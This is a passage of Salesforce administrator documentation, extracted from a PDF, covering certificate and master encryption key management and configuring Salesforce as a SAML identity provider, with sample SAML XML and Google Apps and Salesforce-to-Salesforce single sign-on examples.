Unable to map an unique profile ID for the PROFILE_NAME_LOOKUP_ERROR given profile name Unable to map an unique role ID for the given role name Invalid account Missing account name Missing account number Unable to create account Invalid contact Missing contact email Missing contact last name Unable to create contact Multiple matching contacts found Multiple matching accounts found Invalid account owner Invalid portal profile ROLE_NAME_LOOKUP_ERROR INVALID_ACCOUNT_ID MISSING_ACCOUNT_NAME MISSING_ACCOUNT_NUMBER ACCOUNT_CREATION_API_ERROR INVALID_CONTACT MISSING_CONTACT_EMAIL MISSING_CONTACT_LAST_NAME CONTACT_CREATION_API_ERROR MULTIPLE_CONTACTS_FOUND MULTIPLE_ACCOUNTS_FOUND INVALID_ACCOUNT_OWNER INVALID_PORTAL_PROFILE

666

Security and Sharing

About Salesforce Certificates and Keys

Code 32 33 34 35 36 37

Description Account change is not allowed Unable to update account Unable to update contact Invalid standard account field value Contact change not allowed Invalid portal role

Error Details ACCOUNT_CHANGE_NOT_ALLOWED ACCOUNT_UPDATE_FAILED CONTACT_UPDATE_FAILED INVALID_STANDARD_ACCOUNT_FIELD_VALUE CONTACT_CHANGE_NOT_ALLOWED INVALID_PORTAL_ROLE

See Also:
About Just-in-Time Provisioning for SAML Just-in-Time Provisioning Requirements Just-in-Time Provisioning for Portals

KEY PAIRS
About Salesforce Certificates and Keys
Available in: All Editions

User Permissions Needed To create, edit, and manage certificates: Customize Application

To work with Salesforce certificates and keys, click Your Name > Setup > Security Controls > Certificate and Key Management. From this page you can: Manage your certificates Manage your master encryption key

Certificates Salesforce certificates and key pairs are used for signatures that verify a request is coming from your organization. They are used for authenticated SSL communications with an external web site, or when using your organization as an Identity Provider. You only need to generate a Salesforce certificate and key pair if you're working with an external website that wants verification that a request is coming from a Salesforce organization. Salesforce offers two types of certificates:

667

Security and Sharing

Creating Salesforce Certificates and Key Pairs

Self-signed A self-signed certificate is signed by Salesforce. Not all external websites accept self-signed certificates. CA-signed A CA-signed certificate is signed by an external certificate authority (CA). Most external websites accept CA-signed certificates. You must first generate the certificate signing request to send to a CA, and then import the signed version of the certificate before you can use it. Master Encryption Keys Fields that are encrypted using encrypted custom fields, such as social security number or credit card number, use a master encryption key to encrypt the data. This key is automatically assigned when you enable encrypted fields for your organization. You can manage the master key based on your organizations security needs and regulatory requirements.

See Also:
Creating Salesforce Certificates and Key Pairs Editing Salesforce Certificates and Key Pairs Uploading Certificate Authority (CA)-Signed Certificates Managing Salesforce Master Encryption Keys

Creating Salesforce Certificates and Key Pairs


Available in: All Editions

User Permissions Needed To create, edit, and manage certificates: Customize Application

Salesforce offers two types of certificates: Self-signed A self-signed certificate is signed by Salesforce. Not all external websites accept self-signed certificates. CA-signed A CA-signed certificate is signed by an external certificate authority (CA). Most external websites accept CA-signed certificates. You must first generate the certificate signing request to send to a CA, and then import the signed version of the certificate before you can use it. To create a Salesforce certificate: 1. Go to Your Name > Setup > Security Controls > Certificate and Key Management. 2. Select either Create Self-Signed Certificate or Create CA-Signed Certificate, based on what kind of certificate your external website accepts. You can't change the type of a certificate after you've created it. 3. Enter a descriptive label for the Salesforce certificate. This name is used primarily by administrators when viewing certificates. 4. Enter the Unique Name. This name is automatically populated based on the certificate label you enter. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a

668

Security and Sharing

Creating Salesforce Certificates and Key Pairs

letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the Unique Name when referring to the certificate using the Force.com Web services API or Apex. 5. Select a Key Size for your generated certificate and keys. We recommend that you use the default key size of 2048 for security reasons. Selecting 2048 generates a certificate using 2048-bit keys and is valid for two years. Selecting 1024 generates a certificate using 1024-bit keys and is valid for one year. Note: Once you save a Salesforce certificate, you can't change the key size.

6. If you're creating a CA-signed certificate, you must also enter the following information. These fields are joined together to generate a unique certificate. Field
Common Name

Description The fully qualified domain name of the company requesting the signed certificate. This is generally of the form: http://www.mycompany.com. The email address associated with this certificate. Either the legal name of your company, or your legal name. The branch of your company using the certificate, such as marketing or accounting. The city where the company resides. The state where the company resides. A two-letter code indicating the country where the company resides. For the United States, the value is US.

Email Address Company Department

City State Country Code

7. Click Save. After you successfully save a Salesforce certificate, the certificate and corresponding keys are automatically generated. You can have a maximum of 50 certificates. After you create a CA-signed certificate, you must upload the signed certificate before you can use it. Note: After you create a CA-signed certificate and certificate request, the certificate is not active and you can't use it until it's been signed by a certificate authority and uploaded into your organization.

See Also:
About Salesforce Certificates and Keys Viewing Salesforce Certificates and Key Pairs Editing Salesforce Certificates and Key Pairs Uploading Certificate Authority (CA)-Signed Certificates

669

Security and Sharing

Uploading Certificate Authority (CA)-Signed Certificates

Uploading Certificate Authority (CA)-Signed Certificates


Available in: All Editions

User Permissions Needed To create, edit, and manage certificates: Customize Application

After you create a CA-signed certificate , you must do the following before the certificate is active and you can use the certificate. 1. Click Your Name > Setup > Security Controls > Certificate and Key Management, click the name of the certificate, then click Download Certificate Signing Request. 2. Send the certificate request to the certificate authority of your choice. 3. After the certificate authority sends back the signed certificate, click Your Name > Setup > Security Controls > Certificate and Key Management, click the name of the certificate, then click Upload Signed Certificate. 4. Click Browse to locate the CA-signed certificate. The CA-signed certificate must match the certificate created in Salesforce. If you try to upload a different CA-signed certificate, the upload fails. 5. Click Save to finish the upload process. Click Cancel at any time to not upload the certificate. After you successfully upload the signed certificate, the status of the certificate is changed to Active and you can use CA-signed certificate. Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.

See Also:
About Salesforce Certificates and Keys Creating Salesforce Certificates and Key Pairs Viewing Salesforce Certificates and Key Pairs Editing Salesforce Certificates and Key Pairs

Viewing Salesforce Certificates and Key Pairs


Available in: All Editions

User Permissions Needed To create, edit, and manage certificates: Customize Application

To view the details of a Salesforce certificate, click Your Name > Setup > Security Controls > Certificate and Key Management, then click the name of a certificate.

670

Security and Sharing

Editing Salesforce Certificates and Key Pairs

From the certificate detail page, you can do any of the following: Click Edit to edit the label or unique name of the certificate. Click Delete to delete the certificate. Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.

Click Download Certificate to download the full Base-64 encoded certificate. This is only available for active certificates. For CA-signed certificates, you must first upload the signed certificate before you can download or use it. Click Download Certificate Signing Request for CA-signed certificates that have not yet had the signed certificate uploaded. Click Upload Signed Certificate to upload the CA-signed certificate.

See Also:
About Salesforce Certificates and Keys Creating Salesforce Certificates and Key Pairs Editing Salesforce Certificates and Key Pairs Uploading Certificate Authority (CA)-Signed Certificates

Editing Salesforce Certificates and Key Pairs


Available in: All Editions

User Permissions Needed To create, edit, and manage certificates: Customize Application

After you create a Salesforce certificate, you can only change the Label and the Unique Name. You can't change the type, key size, and so on. The certificate and the keys aren't regenerated when you edit a Salesforce certificate. Caution: Apex and the Force.com Web services API use the Unique Name to access the certificate. Changing the Unique Name could cause your code to break. To edit a Salesforce certificate: 1. Go to Your Name > Setup > Security Controls > Certificate and Key Management. 2. Click Edit next to the name of a Salesforce certificate. 3. Make your changes, then click Save. To delete a certificate, click Del. If a certificate is being used as part of the configuration of your identity provider, you cannot delete it.

671

Security and Sharing

Managing Salesforce Master Encryption Keys

Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.

See Also:
About Salesforce Certificates and Keys Creating Salesforce Certificates and Key Pairs Viewing Salesforce Certificates and Key Pairs Uploading Certificate Authority (CA)-Signed Certificates

Managing Salesforce Master Encryption Keys


Available in: All Editions

User Permissions Needed To create, edit, and manage certificates: Customize Application

Fields that are encrypted using encrypted custom fields, such as social security number or credit card number, use a master encryption key to encrypt the data. This key is automatically assigned when you enable encrypted fields for your organization. You can manage the master key based on your organizations security needs and regulatory requirements. With master encryption keys, you can do the following: Archive the existing key and create a new key Export an existing key after it's been archived Delete an existing key Import an existing key after it's been deleted

Archiving and Creating New Keys To archive your current key and create a new key: 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Certificate and Key Management. Click Archive Current Key and Create New Key. A warning message displays letting you know you are changing keys. Click OK. A new key is generated, assigned the next sequential number, and activated.

All new data is encrypted using the new key. Existing data continues to use the archived key until the data is modified and saved. Then data is encrypted using the new key. After you archive a key, you can export or delete it. Exporting Keys You can export your keys to a back-up location for safe keeping. salesforce.com recommends you export a copy of any key before deleting it.

672

Security and Sharing

About Identity Providers and Service Providers

Exporting creates a text file with the encrypted key. You can import the key back into your organization at a later time. Click Export next to the key you want to export.

Deleting Keys
Don't delete a key unless you're absolutely certain no data is currently encrypted using the key. After you delete a key, any data encrypted with that key can no longer be accessed. If you export the key before you delete it, you can import the key back into your organization. To delete a key, click Delete next to the key you want to delete. The date the key is deleted displays. Importing Keys If you have data associated with a deleted key, you can import an exported key back into your organization. Any data that was not accessible becomes accessible again. Click Import next to the key you want to import.

See Also:
About Salesforce Certificates and Keys Creating Salesforce Certificates and Key Pairs Editing Salesforce Certificates and Key Pairs Uploading Certificate Authority (CA)-Signed Certificates

IDENTITY AND SERVICE PROVIDERS


About Identity Providers and Service Providers
Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

An identity provider is a trusted provider that enables you to use single sign-on to access other websites. A service provider is a website that hosts applications. You can enable Salesforce as an identity provider, then define one or more service providers, so your users can access other applications directly from Salesforce using single sign-on. This can be a great help to your users: instead of having to remember many passwords, they will only have to remember one. Plus, the applications can be added as tabs to your Salesforce organization, which means users won't have to switch between programs.

673

Security and Sharing

About Identity Providers and Service Providers

Before you can enable Salesforce as an identity provider, you must set up a domain. Enabling Salesforce as an identity provider requires a self-signed Salesforce certificate and key pair. If you haven't generated a Salesforce certificate and key pair, one is automatically created for you when you enable Salesforce as an identity provider. You also have the option of picking an already generated certificate, or creating one yourself. Salesforce uses the SAML 2.0 standard for single sign-on and generates SAML assertions when configured as an identity provider. Use the identity provider error log if your users have errors when trying to log into your service provider's apps. Using Identity Providers and Service Providers Salesforce supports the following: Identity-provider-initiated loginwhen Salesforce logs into a service provider at the initiation of the end-user Service-provider-initiated loginwhen the service provider requests Salesforce to authenticate a user, at the initiation of the end-user

The following is the general flow when Salesforce as an identity provider logs into a service provider. 1. User tries to access a service provider already defined in Salesforce. 2. Salesforce sends a SAML response to the service provider. The following is an example of a response (you might want to share this with your service provider):

3. Service provider identifies the user and authenticates the certificate. 4. If the user is identified, they are logged into the service provider. The following is the general flow when a service provider initiates login and uses Salesforce to identify the user.

674

Security and Sharing

About Identity Providers and Service Providers

1. The service provider sends a valid SAML request. The endpoint is automatically generated when the service provider is definedthe SP-Initiated POST Endpoint. 2. Salesforce identifies the user included in the SAML request.
<samlp:AuthnRequest ID="bndkmeemcaamihajeloilkagfdliilbhjjnmlmfo" Version="2.0" IssueInstant="2010-05-24T22:57:19Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" ProviderName="google.com" IsPassive="false" AssertionConsumerServiceURL="https://www.google.com/a/resp.info/acs"> <saml:Issuer>google.com</saml:Issuer> <samlp:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"/> </samlp:AuthnRequest>

If a certificate was included as part of the definition, Salesforce authenticates the certificate. Note: If a certificate is included in the service provider definition, and the SAML request does not contain a certificate, the request fails, and the user is not logged in using Salesforce. If the definition does not include a certificate, and the request includes one, the request succeeds if the user is identified correctly. 3. If the user isn't already logged into Salesforce, they are prompted to do so. 4. Salesforce sends a SAML response to the service provider. 5. The service provider authenticates the SAML response sent by Salesforce. If the user has been authenticated, they are logged into the service provider. The user is also logged into Salesforce. Important: Salesforce doesn't provide any mechanism for automatically logging the user out of Salesforce when they log out of the service provider.

675

Security and Sharing

About Identity Providers and Service Providers

The following is an example of the SAML response from Salesforce. You might want to share this information with your service provider.
<samlp:Response Destination="https://login-blitz03.soma.salesforce.com/ ?saml=MgoTx78aEPa2r1BHKCHmlfUKhH2mkDrXOjmYcjHG_qNDbsRM_6ZAo.wvGk" ID="_0f551f9288c8b76f21c3d4d15c9cd1df1290476801091" InResponseTo="_2INwHuINDJTvjo8ohcM.Fpw_uLukYi0WArVx2IJD569kZYLosBwuiaSbzzxOPQjDtfw52tJB10VfgPW2p5g7Nlv5k1QDzR0EJYGgn0d0z8CIiUOY31Y Bdk7gwEkTygiK_lb46IO1fzBFoaRTzwvf1JN4qnkGttw3J6L4bopRI8hSQmCumM_Cvn3DHZVN.KtrzzOAflcMFSCY.bj1wvruSGQCooTRSSQ" IssueInstant="2010-11-23T01:46:41.091Z" Version="2.0"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" >identityorg.blitz03.blitz.salesforce.com</saml:Issuer> <ds:Signature> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> <ds:Reference URI="#_0f551f9288c8b76f21c3d4d15c9cd1df1290476801091"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"> <ec:InclusiveNamespaces PrefixList="ds saml samlp xs"/> </ds:Transform> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/> <ds:DigestValue>4NVTbQ2WavD+ZBiyQ7ufc8EhtZw=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue> eqrkFxNlJRCT4VQ7tt7wKZGK7oLCCCa4gV/HNcL03RoKbSXIcwU2CAqW0qTSj25FqhRe2fOwAYa5 xFWat7Fw2bbncU+/nnuVNZut8HEEQoHiQA/Jrh7XB4CNlOpM1QRvgB5Dtdkj/0lI4h3X3TFix57B sgZJGbb5PWEqSH3ZAl+NPvW9nNtYQIFyCTe9+cw2BhCxFgSWfP3/kIYHSM2gbIy27CrRrFS1lAqP hKSLaH+ntH1E09gp78RSyJ2WKFGJU22sE9RJSZwdVw3VGG06Z6RpSjPJtaREELhhIBWTHNoF+VvJ 2Hbexjew6CO08lXRDe8dbrrPIRK/qzHZYf1H0g== </ds:SignatureValue> <ds:KeyInfo> <ds:X509Data> <ds:X509Certificate> MIIEbjCCA1agAwIBAgIOASh04QulAAAAAClXs7MwDQYJKoZIhvcNAQEFBQAwfTEVMBMGA1UEAwwM SWRlbnRpdHkgT3JnMRgwFgYDVQQLDA8wMEREMDAwMDAwMEZIOGwxFzAVBgNVBAoMDlNhbGVzZm9y Y2UuY29tMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMQswCQYDVQQIDAJDQTEMMAoGA1UEBhMDVVNB MB4XDTEwMDUwNzIyMjcwNVoXDTEyMDUwNjIyMjcwNVowfTEVMBMGA1UEAwwMSWRlbnRpdHkgT3Jn MRgwFgYDVQQLDA8wMEREMDAwMDAwMEZIOGwxFzAVBgNVBAoMDlNhbGVzZm9yY2UuY29tMRYwFAYD VQQHDA1TYW4gRnJhbmNpc2NvMQswCQYDVQQIDAJDQTEMMAoGA1UEBhMDVVNBMIIBIjANBgkqhkiG 9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyM4/sjoaizbnWTDjt9mGht2fDGxnLCWGMJ+D+9NWXD5wM15N SFEcflpI9W4makcCGvoac+CVbPTmOUzOsCQzu7iGkLeMMpngf2XqllnJgl4ejuH8socNrDtltaMk hC08KAmli3Wm/okllqSjVOl8H52jtbvm6HkvLVj2NDLRY6kUejVZMGjGwV5E0FJliwgIip4sCchl dkahbNjbikiiv1MAs8xHbtBt3wnKZWJq3JtS0va1sazUVmEwGDlVW43QPF0S7eV3IJFFhyCPV8yF N3k0wCkCVBWoknwkMA8CbD+p6qNBVmvh3F3IaW2oym/1eSvtMLNtrPJeZzssqDYqgQIDAQABo4Hr MIHoMB0GA1UdDgQWBBTYSVEZ9r8Q8T2rbZxPFfPYPZKWITCBtQYDVR0jBIGtMIGqgBTYSVEZ9r8Q 8T2rbZxPFfPYPZKWIaGBgaR/MH0xFTATBgNVBAMMDElkZW50aXR5IE9yZzEYMBYGA1UECwwPMDBE RDAwMDAwMDBGSDhsMRcwFQYDVQQKDA5TYWxlc2ZvcmNlLmNvbTEWMBQGA1UEBwwNU2FuIEZyYW5j aXNjbzELMAkGA1UECAwCQ0ExDDAKBgNVBAYTA1VTQYIOASh04QupAAAAAClXs7MwDwYDVR0TAQH/ BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEANaO5Tqcc56E6Jv8itwjtbPvR+WHEMnZgQ9cCPF5Q VACd5v7I/srx4ZJt/ZO4RZkmX1FXla0M7JGOu63eELHYG1DxT1SpGmpOL7xfBn7QUoh8Rmpp3BZC

676

Security and Sharing

About Identity Providers and Service Providers

WCPIcVQHLs1LushsrpbWu+85tgzlVN4sFVBl8F9rohhbM1dMOUAksoQgM3avcZ2vkugKhX40vIuf Gw4wXZe4TBCfQay+eDONYhYnmlxVV+dJyHheENOYfVqlau8RMNhRNmhXlGxXNQyU3kpMaTxOux8F DyOjc5YPoe6PYQ0C/mC77ipnjJAjwm+Gw+heK/9NQ7fIonDObbfu2rOmudtcKG74IDwkZL8HjA== </ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </ds:Signature> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_e700bf9b25a5aebdb9495fe40332ef081290476801092" IssueInstant="2010-11-23T01:46:41.092Z" Version="2.0"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">identityorg.blitz03.blitz.salesforce.com</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">charliemortimore@gmail.com</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2010-11-23T01:51:41.093Z" Recipient="https://login-blitz03.soma.salesforce.com/?saml=MgoTx78aEPa2r1BHKCHmlfUKhH2mkDrXOjmYcjHG_qNDbsRM_6ZAo.wvGk"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2010-11-23T01:46:41.093Z" NotOnOrAfter="2010-11-23T01:51:41.093Z"> <saml:AudienceRestriction> <saml:Audience>https://childorgb.blitz03.blitz.salesforce.com</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2010-11-23T01:46:41.092Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> <saml:AttributeStatement> <saml:Attribute Name="userId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">005D0000001Ayzh</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="username" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">admin@identity.org</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">cmortimore@salesforce.com</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="is_portal_user" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">false</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>

677

Security and Sharing

Enabling Salesforce as an Identity Provider

Enabling Salesforce as an Identity Provider


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

To enable Salesforce as an identity provider: 1. Set up a domain. 2. Click Your Name > Setup > Security Controls > Identity Provider and click Enable Identity Provider. 3. If you haven't created a self-signed certificate, one is automatically generated for you and assigned as the certificate for your identity provider. If you've already created self-signed certificates, select the certificate to use when securely communicating with other services. You can only use self-signed certificates for your identity provider. You can't use CA-signed certificates. If you'd like to create one, select Create a new certificate.... After you create the certificate, click Your Name > Setup > Security Controls > Identity Provider, click Enable Identity Provider, and select the certificate you just created. 4. Click Save. After you enable Salesforce as an identity provider, you can define service providers.

Viewing Your Identity Provider Details


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

After you enable an identity provider for your organization, you can view the details by clicking Your Name > Setup > Security Controls > Identity Provider. You might need to share this information, such as Issuer, with your service provider. From this page you can click: Edit to change the certificate associated with your identity provider. Caution: Changing the certificate can disable access to external applications. You might need to update all external applications to validate the new certificate information. Disable to disable your identity provider. Caution: If you disable your identity provider, users can no longer access any external applications.

678

Security and Sharing

Prerequisites for Defining Service Providers

Download Certificate to download the certificate associated with your identity provider. Your service provider can use this information for connecting to Salesforce. Download Metadata to download the metadata associated with your identity provider. Your service provider can use this information for connecting to Salesforce. In the service providers section, click New to define a new service provider. Next to the name of an already-defined service provider, click Edit to change its definition, click Profiles to add or remove user profiles that have access to this service provider, or click Del to delete it.

Prerequisites for Defining Service Providers


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

Before defining a service provider: 1. Enable Salesforce as an identity provider. 2. Give your service provider information about your configuration of Salesforce as an identity provider. This information is available as metadata that you can download and give to your service provider for easy configuration. However, not all service providers support metadata. If your service provider supports certificates instead, you might be required to download the certificate. Click Your Name > Setup > Security Controls > Identity Provider, then click Download Certificate or Download Metadata. 3. Get the following information from your service provider: Assertion consumer service (ACS) URL Entity ID Subject typespecifies if the subject for the SAML response from Salesforce (as an identity provider) is a Salesforce user name or a federation ID Security certificateonly required when the service provider is initiating login to Salesforce and signing their SAML requests

Defining Service Providers


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

To define a service provider:

679

Security and Sharing

Mapping Salesforce Users to App Users

1. 2. 3. 4. 5.

Complete the prerequisites. Click Your Name > Setup > Security Controls > Identity Provider, then click New in the Service Providers section. Specify a name for the service provider's application. This name is used in the profile settings. Enter the assertion consumer service (ACS) URL. This value comes from the service provider. Enter the entity ID. This value comes from the service provider. If you are accessing multiple apps from your service provider, you only need to define the service provider once, and then use the RelayState parameter to append the URL values to direct the user to the correct app after signing in. Important: Each entity ID must be unique in your organization.

6. Select the subject type. This value comes from the service provider. Note: If the subject type is Federation ID, you must also map the Salesforce user to the app user.

7. Click Service Provider Certificate if the service provider gave you a security certificate. Browse your system for the certificate. This is only necessary if you plan to initiate logging into Salesforce from the service provider and the service provider signs their SAML requests. Important: If you upload a certificate, all SAML requests must be signed. If no certificate is uploaded, all SAML requests are accepted. 8. Click Save. 9. Select which profiles have access to this service provider. Note: Permission sets can also be used to grant access to service providers.

If you click the checkbox at the top of the list, all profiles are selected. 10. Click Save.

Mapping Salesforce Users to App Users


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

If the Subject Type for the service provider definition is Federation ID, you must map the Salesforce user to the username used to sign into the service provider. To map a Salesforce user to the app user:

680

Security and Sharing

Viewing Your Service Provider Details

1. Click Your Name > Setup > Manage Users > Users, then click Edit for every user who needs to be mapped. 2. In Federation ID, under Single Sign On Information, enter the username to be used to log into the service provider. 3. Click Save. Tip: Use the Web services API if you have a large number of user profiles or permission sets to update. See the Web Services API Developer's Guide.

Viewing Your Service Provider Details


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

After you define a service provider for your organization, you can view the details by clicking Your Name > Setup > Security Controls > Identity Provider, then the name of the service provider. You might need to share this information, such as SP-Initiated POST Endpoint or SP-Initiated Redirect Endpoint, with your service providers. From this page you can click: Edit to change the values of the service provider definition. Delete to delete a service provider definition. Caution: If you delete a service provider definition, your users will no longer have access to that service provider.

Profile Access to change which profiles have access to this service provider.

Enabling Identity Providers and Defining Service Providers for Portals and Sites
Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

When enabling identity providers and defining service providers for Force.com Sites, Customer Portals and partner portals, note the following:

681

Security and Sharing

Using the Identity Provider Error Log

When defining a service provider, if the Subject Type is Username, the Salesforce organization ID is prepended to the user name in the SAML assertion. For example, if the user is jDeoint@WFC.com, the subject for the SAML assertion contains 00DE0000000FFLT@jDeoint@WFC.com. If the Subject Type is Federation ID, the exact federation ID is used. The attribute is_portal_user included in the SAML assertion generated by Salesforce contains values. You might want to share the following example with your service provider.
<saml:Attribute Name="is_portal_user" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">true </saml:AttributeValue> </saml:Attribute>

Using the Identity Provider Error Log


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

The identity provider error log records problems with inbound SAML authentication requests from another app provider, and outbound SAML responses when Salesforce is acting as an identity provider. To view the identity provider error log, click Your Name > Setup > Manage Users > Identity Provider Error Log.

Examples Using Identity Providers and Service Providers


Available in: Developer, Enterprise, Unlimited, and Database.com Editions Tabs are not available in Database.com

User Permissions Needed Define and modify identity providers and service providers: Customize Application

This section contains two examples of setting up Salesforce as an identity provider, then setting up two different service providers: Google Apps shows service-provider initiated login. Salesforceshows identity-provider initiated login.

682

Security and Sharing

Examples Using Identity Providers and Service Providers

Setting up Single Sign-on to Google Apps Example This example shows how to set up single sign-on from Salesforce to Google Apps. In this example, Google is the service provider, and Google Apps is the app provided by the service provider. For this example to work: You must already have a Premier Edition Google Apps account Your Salesforce organization must be set up for single sign-on using SAML 2.0

The general steps are as follows, with more specifics on each step below. 1. 2. 3. 4. 5. Generate a domain name and enable an identity provider in your Salesforce organization. Define the service provider in Salesforce. Enable the Salesforce user and profile. Setup Google Apps. Test your implementation.

Generating a Domain Name and Enabling an Identity Provider To prepare your Salesforce organization for this example, generate a domain name and enable Salesforce as an identity provider: 1. Log into Salesforce. 2. Generate a domain name for your organization: a. Click Your Name > Setup > Company Profile > My Domain, enter a new subdomain name, and click Check Availability. b. If the name is available, click the Terms and Conditions check box, then click Register Domain. Important: You must deploy your domain name before you can enable Salesforce as an identity provider.

3. Enable Salesforce as an identity provider: a. Click Your Name > Setup > Security Controls > Identity Provider. b. Click Enable. c. Click Download Certificate. Remember where you save the certificate, as you will upload it later. Defining a Service Provider To define the service provider: 1. Log into Salesforce. 2. Click Your Name > Setup > Security Controls > Identity Provider. 3. Click New in the Service Provider section and enter the following information: Field
Name ACS URL

Value Google Apps The URL for your Google App account, such as
https://www.google.com/a/respond.info

Entity ID Subject Type

google.com Federation ID

683

Security and Sharing

Examples Using Identity Providers and Service Providers

4. Click Save. 5. Select the profiles allowed to access this service provider. You must select the current user's profile for this example to work. 6. Click Save. 7. Copy down the value in the SP-Initiated Redirect Endpoint field. You will use this value later. Mapping the Salesforce user to the Google Apps user To map the Salesforce user to the Google Apps user: 1. Click Your Name > Setup > My Personal Information > Personal Information, then click Edit. 2. For Federation ID, enter the username you use to sign into Google Apps, for example, JSmith@TGroup.com. 3. Click Save. Setting up Google Apps To set up your Google Apps account: 1. 2. 3. 4. 5. 6. Log into your Google Apps account. Click the Advanced tools tab, then the Set up single sign-on (SSO) link. Check the Enable Single Sign-on checkbox. For Sign-in page URL, enter the URL copied from the SP-Initiated Redirect Endpoint field, from defining a service provider. For Sign-out page URL, specify the URL where you want your users to go after they log out of Google Apps, such as, http://www.mydomain.salesforce.com. For Change password URL, use the following URL: https://mydomain.salesforce.com/_ui/system/security/ChangePassword, where mydomain is the name you specified for your custom domain when you generated your domain. For Verification certificate, upload the certificate you downloaded from enabling an identity provider. Click Save Changes.

7. 8.

Testing your Implementation To verify that your Salesforce organization can use single sign-on to Google Apps: 1. Log out of Google Apps and Salesforce. 2. Try to access a Google app page, such as http://docs.google.com/a/respond.info/ or http://mail.google.com/a/respond.info/. 3. You are redirected to a Salesforce sign-on page. After you login, you are at the specified Google app page. An alternate test is to add the Google App to a web tab in your Salesforce organization. 1. 2. 3. 4. 5. 6. 7. 8. Log into Salesforce. Click Your Name > Setup > Create > Tabs, then click New in the Web Tabs section. Choose a tab layout and click Next. Enter a label to display on the tab. Use the default name. This is the same as the label. Click the Tab Style lookup icon to display the Tab Style Selector. Select an icon. Keep all other defaults. Click Next. In the Button or Link URL text box, enter a Google App page, such as docs.google.com/a/respond.info/ or mail.google.com/a/respond.info/, then click Next.

684

Security and Sharing

Examples Using Identity Providers and Service Providers

Note: This has to be an absolute URL, that is, it must contain either http:// or https://.

9. Click Next and Save. 10. Click on the new tab at the top of your page. You are automatically logged into the specified Google app page. Setting up Single Sign-on From Salesforce to Salesforce This example shows how to set up a Salesforce app to initiate single sign-on from one Salesforce organization to another. The initiating Salesforce organization, that is, the organization that you want to initially log into, acts as the identity provider. The Salesforce organization that you want to access using an app acts as the service provider.For example, suppose you have two Salesforce organizations: a sales organization and an ideas organization. You can set up single sign-on between the two organizations so your users only have to log into and remember the password for one. For this example to work, your initiating Salesforce organization must be set up for single sign-on using SAML 2.0. The general steps are as follows, with more specifics on each step below. 1. 2. 3. 4. Generate a domain name and enable an identity provider in the Salesforce organization that is acting as an identity provider. Set up the Salesforce organization that is acting as a service provider. Define the service provider app in the Salesforce organization that is acting as an identity provider. Test your implementation.

